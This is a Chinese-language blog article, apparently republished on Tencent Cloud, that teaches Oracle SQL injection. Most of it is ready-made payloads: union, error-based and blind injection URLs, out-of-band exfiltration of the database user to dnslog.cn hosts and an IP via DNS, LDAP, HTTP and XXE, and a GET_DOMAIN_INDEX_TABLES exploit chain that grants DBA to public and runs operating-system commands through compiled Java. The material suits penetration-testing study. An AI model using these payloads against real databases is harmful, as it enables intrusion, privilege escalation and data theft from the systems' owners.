前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >回归朴素、oracle注入

回归朴素、oracle注入

作者头像
字节脉搏实验室
发布2020-11-06 10:45:14
8850
发布2020-11-06 10:45:14
举报
文章被收录于专栏:字节脉搏实验室

1、基本概念

Oracle和MySQL数据库语法大致相同,结构不太相同,对于“数据库”这个概念而言,Oracle采用了”表空间“的定义。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库。当数据库创建时,Oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP。

1. SYSTEM:这个用于是存储系统表和管理配置等基本信息

2. SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担

3. UNDOTBS:用于事务回退等

4. TEMP:作为缓存空间减少内存负担

5. USERS:就是存储我们定义的表和数据

在Oracle中每个表空间中都存在一张dual名称的表,这张表并没有实际的存储意义,因为Oracle的SQL语法要求select后必须跟上from,所以我们通常使用dual来进行注入,例如:select 1+1 from dual。

再来看Oracle中用户和权限划分:Oracle 中划分了许多用户权限,我们称之为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的增删改查,DBA 则集合了所有的用户权限。在创建数据库时,会默认启用 sys、system 等用户:

1. sys:相当于 Linux 下的 root 用户。为 DBA 角色

2. system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。

3. public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

2、基本语法

select column, group_function(column)

from table

[where condition]

[group by group_by_expression]

[having group_condition]

[order by column];

1、Oracle要求select后必须指明要查询的表名,可以用dual。

2、Oracle使用 || 拼接字符串,MySQL中为或运算。

单引号和双引号在Oracle中虽然都是字符串,但是双引号可以用来消除关键字,比如sysdate。

3、Oracle中limit应该使用虚表中的rownum字段通过where条件判断。

4、Oracle中没有空字符,''和’null’都是null,而MySQL中认为''是一个字符串。

Oracle的系统表:

– dba_tables : 系统里所有的表的信息,需要DBA权限才能查询

– all_tables : 当前用户有权限的表的信息

– user_tables: 当前用户名下的表的信息

– DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表

– ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表

– USER_ALL_TABLES:某一用户所拥有的对象和表

DBA_TABLES >= ALL_TABLES >= USER_TABLES

3、注入类型

3.1. 联合查询

1、order by 猜字段数量

union select进行查询,需要注意的是每一个字段都需要对应前面select的数据类型(字符串/数字)。所以我们一般先使用null字符占位,然后逐位判断每个字段的类型,比如:

http://localhost:8080/oracleInject/index?username=admin' union select null,null,null from dual -- 正常

http://localhost:8080/oracleInject/index?username=admin' union select 1,null,null from dual -- 正常说明第一个字段是数字型

http://localhost:8080/oracleInject/index?username=admin' union select 1,2,null from dual -- 第二个字段为数字时错误

http://localhost:8080/oracleInject/index?username=admin' union select 1,'asd',null from dual -- 正常 为字符串 依此类推

SQL

2、查数据库版本和用户名

http://localhost:8080/oracleInject/index?username=admin' union select 1,(select user from dual),(SELECT banner FROM v$version where banner like 'Oracle%25') from dual --

3、查当前数据库

http://localhost:8080/oracleInject/index?username=admin' union select 1,(SELECT global_name FROM global_name),null from dual --

4、查表

wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已经抛弃,可以用LISTAGG()替代

http:

//localhost:8080/oracleInject/index?username=admin' union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM'),null from dual --

但是LISTAGG()返回的是varchar类型,如果数据表很多会出现字符串长度过长的问题。这个时候可以使用通过字符串截取来进行。

5、查字段

http://localhost:8080/oracleInject/index?username=admin' union select 1,(select column_name from all_tab_columns where table_name='TEST' and rownum=2),null from dual --

有表名字段名出数据就不说了。

3.2. 报错注入

utl_inaddr.get_host_name

select utl_inaddr.get_host_name((select user from dual)) from dual;

11g之后,使用此函数的数据库用户需要有访问网络的权限

ctxsys.drithsx.sn

select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

处理文本的函数,参数错误时会报错。

CTXSYS.CTX_REPORT.TOKEN_TYPE

select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual;

XMLType

http://localhost:8080/oracleInject/index?username=admin' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

注意url编码,如果返回的数据有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。

dbms_xdb_version.checkin

select dbms_xdb_version.checkin((select user from dual)) from dual;

dbms_xdb_version.makeversioned

select dbms_xdb_version.makeversioned((select user from dual)) from dual;

dbms_xdb_version.uncheckout

select dbms_xdb_version.uncheckout((select user from dual)) from dual;

dbms_utility.sqlid_to_sqlhash

SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

ordsys.ord_dicom.getmappingxpath

select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

UTL_INADDR.get_host_name

select UTL_INADDR.get_host_name((select user from dual)) from dual;

UTL_INADDR.get_host_address

select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual;

3.3. 盲注

布尔盲注

布尔盲注第一种是可以使用简单的字符串比较来进行,比如:

http://localhost:8080/oracleInject/index?username=admin' and (select substr(user, 1, 1) from dual)='S' --

然后还有一种是通过decode配合除数为0来进行布尔盲注

http://localhost:8080/oracleInject/index?username=admin' and 1=(select decode(substr(user, 1, 1), 'S', (1/1),0) from dual) --

时间盲注

1、大量数据

select count(*) from all_objects

缺点就是不准。

2、时间延迟函数

select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('asd', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

SQL

还可以配合decode

select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual;

3.4. 带外盲注

类似于MySQL load_file的带外盲注。OOB 都需要发起网络请求的权限,有限制。

utl_http.request 需要出外网HTTP

utl_inaddr.get_host_address dns解析带外

select utl_inaddr.get_host_address((select user from dual)||'.cbb1ya.dnslog.cn') from dual

SYS.DBMS_LDAP.INIT 这个函数在 10g/11g 中是 public 权限.

SELECT DBMS_LDAP.INIT((select user from dual)||'.24wypw.dnslog.cn',80) FROM DUAL;

HTTPURITYPE

SELECT HTTPURITYPE((select user from dual)||'.24wypw.dnslog.cn').GETCLOB() FROM DUAL;

其他

如果 Oracle 版本 <= 10g,可以尝试以下函数:

1. UTL_INADDR.GET_HOST_ADDRESS

2. UTL_HTTP.REQUEST

3. HTTP_URITYPE.GETCLOB

4. DBMS_LDAP.INIT and UTL_TCP

Oracle XXE (CVE-2014-6577)

说是xxe,实际上应该算是利用xml的加载外部文档来进行数据带外。支持http和ftp

1. http

select 1 from dual where 1=(select extractvalue(xmltype('<?xml

version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote

SYSTEM "http://192.168.124.1/'||(SELECT user from

dual)||'"> %remote;]>'),'/l') from dual);

2、ftp

select extractvalue(xmltype('<?xml version="1.0"

encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM

"ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

4、提权

GET_DOMAIN_INDEX_TABLES函数注入

影响版本:

Oracle 8.1.7.4,

Oracle9.2.0.1 – 9.2.0.7,

Oracle10.1.0.2 – 10.1.0.4,

Oracle10.2.0.1-10.2.0.2

漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。

1、权限提升

http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--

SQL

2、创建Java代码执行命令

http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

3、赋予Java执行权限

http://localhost:8080/oracleInject/index?username=admin' and (select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

4、创建函数

http://localhost:8080/oracleInject/index?username=admin' and (select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

5、赋予函数执行权限

http://localhost:8080/oracleInject/index?username=admin' and (select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

6、执行命令

http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--

xml反序列化绕过JVM执行命令 CVE-2018-3004

如果当前数据库用户具有connect和resource权限,则可以尝试使用反序列化来进行执行命令。Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行。

--create or replace function get_java_property(prop in varchar2) return varchar2-- is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';--/select get_java_property('java.version') from dual;

原作者写的是java.name.System,这里应该使用java.lang.System

虽然你以为可以执行Java代码了,直接冲Runtime.getRuntime().exec()就完事了,但是实际上Oracle对权限进行了细致的划分,并不能直接冲。我们可以用一个xml的反序列化来冲。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • xml反序列化绕过JVM执行命令 CVE-2018-3004
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档